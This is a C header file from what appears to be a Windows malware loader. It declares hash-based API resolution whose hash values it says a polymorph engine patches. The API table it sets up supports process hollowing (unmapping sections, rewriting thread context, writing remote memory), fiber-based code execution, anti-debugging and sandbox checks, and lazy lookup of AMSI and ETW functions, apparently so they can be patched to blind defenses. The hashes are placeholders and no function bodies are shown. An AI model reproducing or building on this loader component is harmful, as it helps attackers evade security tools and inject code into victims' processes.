#ifndef API_RESOLVE_H
#define API_RESOLVE_H

#include <windows.h>
#include <winternl.h>

/* ── Module hash constants (DJB2, patched by polymorph engine) ──── */

#define HASH_NTDLL 0xDEADBEEF
#define HASH_KERNEL32 0xDEADBEEF
#define HASH_ADVAPI32 0xDEADBEEF
#define HASH_USER32 0xDEADBEEF
#define HASH_AMSI 0xDEADBEEF

/* ── Function hash constants ───────────────────────────────────── */

/* ntdll.dll */
#define HASH_NtUnmapViewOfSection 0xDEADBEEF
#define HASH_NtQueryInformationProcess 0xDEADBEEF

/* kernel32.dll */
#define HASH_LoadLibraryA 0xDEADBEEF
#define HASH_CreateProcessW 0xDEADBEEF
#define HASH_GetThreadContext 0xDEADBEEF
#define HASH_SetThreadContext 0xDEADBEEF
#define HASH_ResumeThread 0xDEADBEEF
#define HASH_TerminateProcess 0xDEADBEEF
#define HASH_ReadProcessMemory 0xDEADBEEF
#define HASH_WriteProcessMemory 0xDEADBEEF
#define HASH_VirtualAllocEx 0xDEADBEEF
#define HASH_VirtualAlloc 0xDEADBEEF
#define HASH_VirtualProtect 0xDEADBEEF
#define HASH_VirtualFree 0xDEADBEEF
#define HASH_CreateThread 0xDEADBEEF
#define HASH_WaitForSingleObject 0xDEADBEEF
#define HASH_CloseHandle 0xDEADBEEF
#define HASH_ExitProcess 0xDEADBEEF
#define HASH_Sleep 0xDEADBEEF
#define HASH_GetTickCount64 0xDEADBEEF
#define HASH_GlobalMemoryStatusEx 0xDEADBEEF
#define HASH_GetSystemInfo 0xDEADBEEF
#define HASH_IsDebuggerPresent 0xDEADBEEF
#define HASH_GetCurrentProcess 0xDEADBEEF
#define HASH_QueryPerformanceFrequency 0xDEADBEEF
#define HASH_QueryPerformanceCounter 0xDEADBEEF
#define HASH_GetSystemDirectoryA 0xDEADBEEF
#define HASH_lstrcatA 0xDEADBEEF
#define HASH_CreateFileA 0xDEADBEEF
#define HASH_GetFileSize 0xDEADBEEF
#define HASH_CreateFileMappingA 0xDEADBEEF
#define HASH_MapViewOfFile 0xDEADBEEF
#define HASH_UnmapViewOfFile 0xDEADBEEF

/* advapi32.dll */
#define HASH_RegOpenKeyExA 0xDEADBEEF
#define HASH_RegCloseKey 0xDEADBEEF

/* user32.dll */
#define HASH_GetCursorPos 0xDEADBEEF

/* Fiber APIs (kernel32) */
#define HASH_ConvertThreadToFiber  0xDEADBEEF
#define HASH_CreateFiber           0xDEADBEEF
#define HASH_SwitchToFiber         0xDEADBEEF
#define HASH_DeleteFiber           0xDEADBEEF
#define HASH_FlushInstructionCache 0xDEADBEEF

/* Lazy-resolved (not in ApiTable struct) */
#define HASH_EtwEventWrite 0xDEADBEEF
#define HASH_AmsiOpenSession 0xDEADBEEF

/* ── Function pointer typedefs ─────────────────────────────────── */

/* ntdll */
typedef NTSTATUS (NTAPI *fn_NtUnmapViewOfSection)(HANDLE, PVOID);
typedef NTSTATUS (NTAPI *fn_NtQueryInformationProcess)(HANDLE, ULONG, PVOID, ULONG, PULONG);

/* kernel32 */
typedef HMODULE  (WINAPI *fn_LoadLibraryA)(LPCSTR);
typedef BOOL     (WINAPI *fn_CreateProcessW)(LPCWSTR, LPWSTR, LPSECURITY_ATTRIBUTES, LPSECURITY_ATTRIBUTES, BOOL, DWORD, LPVOID, LPCWSTR, LPSTARTUPINFOW, LPPROCESS_INFORMATION);
typedef BOOL     (WINAPI *fn_GetThreadContext)(HANDLE, LPCONTEXT);
typedef BOOL     (WINAPI *fn_SetThreadContext)(HANDLE, const CONTEXT*);
typedef DWORD    (WINAPI *fn_ResumeThread)(HANDLE);
typedef BOOL     (WINAPI *fn_TerminateProcess)(HANDLE, UINT);
typedef BOOL     (WINAPI *fn_ReadProcessMemory)(HANDLE, LPCVOID, LPVOID, SIZE_T, SIZE_T*);
typedef BOOL     (WINAPI *fn_WriteProcessMemory)(HANDLE, LPVOID, LPCVOID, SIZE_T, SIZE_T*);
typedef LPVOID   (WINAPI *fn_VirtualAllocEx)(HANDLE, LPVOID, SIZE_T, DWORD, DWORD);
typedef LPVOID   (WINAPI *fn_VirtualAlloc)(LPVOID, SIZE_T, DWORD, DWORD);
typedef BOOL     (WINAPI *fn_VirtualProtect)(LPVOID, SIZE_T, DWORD, PDWORD);
typedef BOOL     (WINAPI *fn_VirtualFree)(LPVOID, SIZE_T, DWORD);
typedef HANDLE   (WINAPI *fn_CreateThread)(LPSECURITY_ATTRIBUTES, SIZE_T, LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD);
typedef DWORD    (WINAPI *fn_WaitForSingleObject)(HANDLE, DWORD);
typedef BOOL     (WINAPI *fn_CloseHandle)(HANDLE);
typedef void     (WINAPI *fn_ExitProcess)(UINT);
typedef void     (WINAPI *fn_Sleep)(DWORD);
typedef ULONGLONG (WINAPI *fn_GetTickCount64)(void);
typedef BOOL     (WINAPI *fn_GlobalMemoryStatusEx)(LPMEMORYSTATUSEX);
typedef void     (WINAPI *fn_GetSystemInfo)(LPSYSTEM_INFO);
typedef BOOL     (WINAPI *fn_IsDebuggerPresent)(void);
typedef HANDLE   (WINAPI *fn_GetCurrentProcess)(void);
typedef BOOL     (WINAPI *fn_QueryPerformanceFrequency)(LARGE_INTEGER*);
typedef BOOL     (WINAPI *fn_QueryPerformanceCounter)(LARGE_INTEGER*);
typedef UINT     (WINAPI *fn_GetSystemDirectoryA)(LPSTR, UINT);
typedef LPSTR    (WINAPI *fn_lstrcatA)(LPSTR, LPCSTR);
typedef HANDLE   (WINAPI *fn_CreateFileA)(LPCSTR, DWORD, DWORD, LPSECURITY_ATTRIBUTES, DWORD, DWORD, HANDLE);
typedef DWORD    (WINAPI *fn_GetFileSize)(HANDLE, LPDWORD);
typedef HANDLE   (WINAPI *fn_CreateFileMappingA)(HANDLE, LPSECURITY_ATTRIBUTES, DWORD, DWORD, DWORD, LPCSTR);
typedef LPVOID   (WINAPI *fn_MapViewOfFile)(HANDLE, DWORD, DWORD, DWORD, SIZE_T);
typedef BOOL     (WINAPI *fn_UnmapViewOfFile)(LPCVOID);
typedef LPVOID   (WINAPI *fn_ConvertThreadToFiber)(LPVOID);
typedef LPVOID   (WINAPI *fn_CreateFiber)(SIZE_T, LPFIBER_START_ROUTINE, LPVOID);
typedef void     (WINAPI *fn_SwitchToFiber)(LPVOID);
typedef void     (WINAPI *fn_DeleteFiber)(LPVOID);
typedef BOOL     (WINAPI *fn_FlushInstructionCache)(HANDLE, LPCVOID, SIZE_T);

/* advapi32 */
typedef LONG     (WINAPI *fn_RegOpenKeyExA)(HKEY, LPCSTR, DWORD, REGSAM, PHKEY);
typedef LONG     (WINAPI *fn_RegCloseKey)(HKEY);

/* user32 */
typedef BOOL     (WINAPI *fn_GetCursorPos)(LPPOINT);

/* ── API table struct ──────────────────────────────────────────── */

typedef struct _ApiTable {
    /* Module bases */
    void *ntdll_base;
    void *kernel32_base;

    /* ntdll */
    fn_NtUnmapViewOfSection      pNtUnmapViewOfSection;
    fn_NtQueryInformationProcess pNtQueryInformationProcess;

    /* kernel32 */
    fn_LoadLibraryA              pLoadLibraryA;
    fn_CreateProcessW            pCreateProcessW;
    fn_GetThreadContext          pGetThreadContext;
    fn_SetThreadContext          pSetThreadContext;
    fn_ResumeThread              pResumeThread;
    fn_TerminateProcess          pTerminateProcess;
    fn_ReadProcessMemory         pReadProcessMemory;
    fn_WriteProcessMemory        pWriteProcessMemory;
    fn_VirtualAllocEx            pVirtualAllocEx;
    fn_VirtualAlloc              pVirtualAlloc;
    fn_VirtualProtect            pVirtualProtect;
    fn_VirtualFree               pVirtualFree;
    fn_CreateThread              pCreateThread;
    fn_WaitForSingleObject       pWaitForSingleObject;
    fn_CloseHandle               pCloseHandle;
    fn_ExitProcess               pExitProcess;
    fn_Sleep                     pSleep;
    fn_GetTickCount64            pGetTickCount64;
    fn_GlobalMemoryStatusEx      pGlobalMemoryStatusEx;
    fn_GetSystemInfo             pGetSystemInfo;
    fn_IsDebuggerPresent         pIsDebuggerPresent;
    fn_GetCurrentProcess         pGetCurrentProcess;
    fn_QueryPerformanceFrequency pQueryPerformanceFrequency;
    fn_QueryPerformanceCounter   pQueryPerformanceCounter;
    fn_GetSystemDirectoryA       pGetSystemDirectoryA;
    fn_lstrcatA                  plstrcatA;
    fn_CreateFileA               pCreateFileA;
    fn_GetFileSize               pGetFileSize;
    fn_CreateFileMappingA        pCreateFileMappingA;
    fn_MapViewOfFile             pMapViewOfFile;
    fn_UnmapViewOfFile           pUnmapViewOfFile;
    fn_ConvertThreadToFiber      pConvertThreadToFiber;
    fn_CreateFiber               pCreateFiber;
    fn_SwitchToFiber             pSwitchToFiber;
    fn_DeleteFiber               pDeleteFiber;
    fn_FlushInstructionCache     pFlushInstructionCache;

    /* advapi32 */
    fn_RegOpenKeyExA             pRegOpenKeyExA;
    fn_RegCloseKey               pRegCloseKey;

    /* user32 */
    fn_GetCursorPos              pGetCursorPos;
} ApiTable;

extern ApiTable g_api;

void  api_resolve_init(void);
void *api_resolve_func(DWORD mod_hash, DWORD fn_hash);

#endif /* API_RESOLVE_H */